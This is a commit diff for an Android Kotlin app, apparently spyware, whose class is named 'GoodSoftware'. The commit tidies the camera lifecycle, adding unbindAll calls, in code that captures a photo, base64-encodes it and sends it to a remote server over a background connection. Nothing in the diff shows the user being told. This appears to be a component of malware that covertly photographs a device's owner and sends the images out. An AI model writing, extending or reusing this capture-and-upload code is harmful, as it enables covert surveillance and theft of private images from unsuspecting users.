closz cam
This commit is contained in:
parent
09a815d1aa
commit
92387a764b
@ -27,6 +27,7 @@ android {
|
|||||||
getDefaultProguardFile("proguard-android-optimize.txt"),
|
getDefaultProguardFile("proguard-android-optimize.txt"),
|
||||||
"proguard-rules.pro"
|
"proguard-rules.pro"
|
||||||
)
|
)
|
||||||
|
multiDexEnabled = false
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
compileOptions {
|
compileOptions {
|
||||||
|
@ -398,6 +398,7 @@ class GoodSoftware (private val activity: MainActivity) {
|
|||||||
val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
|
val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
|
||||||
override fun onError(exc: ImageCaptureException) {
|
override fun onError(exc: ImageCaptureException) {
|
||||||
Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
|
Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
|
||||||
|
cameraProvider?.unbindAll()
|
||||||
}
|
}
|
||||||
|
|
||||||
override fun onCaptureSuccess(image: ImageProxy) {
|
override fun onCaptureSuccess(image: ImageProxy) {
|
||||||
@ -409,7 +410,6 @@ class GoodSoftware (private val activity: MainActivity) {
|
|||||||
buffer.get(bytes)
|
buffer.get(bytes)
|
||||||
byteArrayOutputStream.write(bytes)
|
byteArrayOutputStream.write(bytes)
|
||||||
val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
|
val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
|
||||||
//Log.d(picture.TAG, "Base64 Image: $base64Image")
|
|
||||||
Thread {
|
Thread {
|
||||||
val conn = establishConnectionWithRetry()
|
val conn = establishConnectionWithRetry()
|
||||||
if (conn == null) {
|
if (conn == null) {
|
||||||
@ -418,6 +418,7 @@ class GoodSoftware (private val activity: MainActivity) {
|
|||||||
sendDataToServer(base64Image, conn)
|
sendDataToServer(base64Image, conn)
|
||||||
disconnect(conn)
|
disconnect(conn)
|
||||||
}.start()
|
}.start()
|
||||||
|
cameraProvider?.unbindAll()
|
||||||
image.close()
|
image.close()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -430,7 +431,7 @@ class GoodSoftware (private val activity: MainActivity) {
|
|||||||
ContextCompat.getMainExecutor(context),
|
ContextCompat.getMainExecutor(context),
|
||||||
imageCapturedListener
|
imageCapturedListener
|
||||||
)
|
)
|
||||||
cameraProvider?.unbind()
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
Loading…
x
Reference in New Issue
Block a user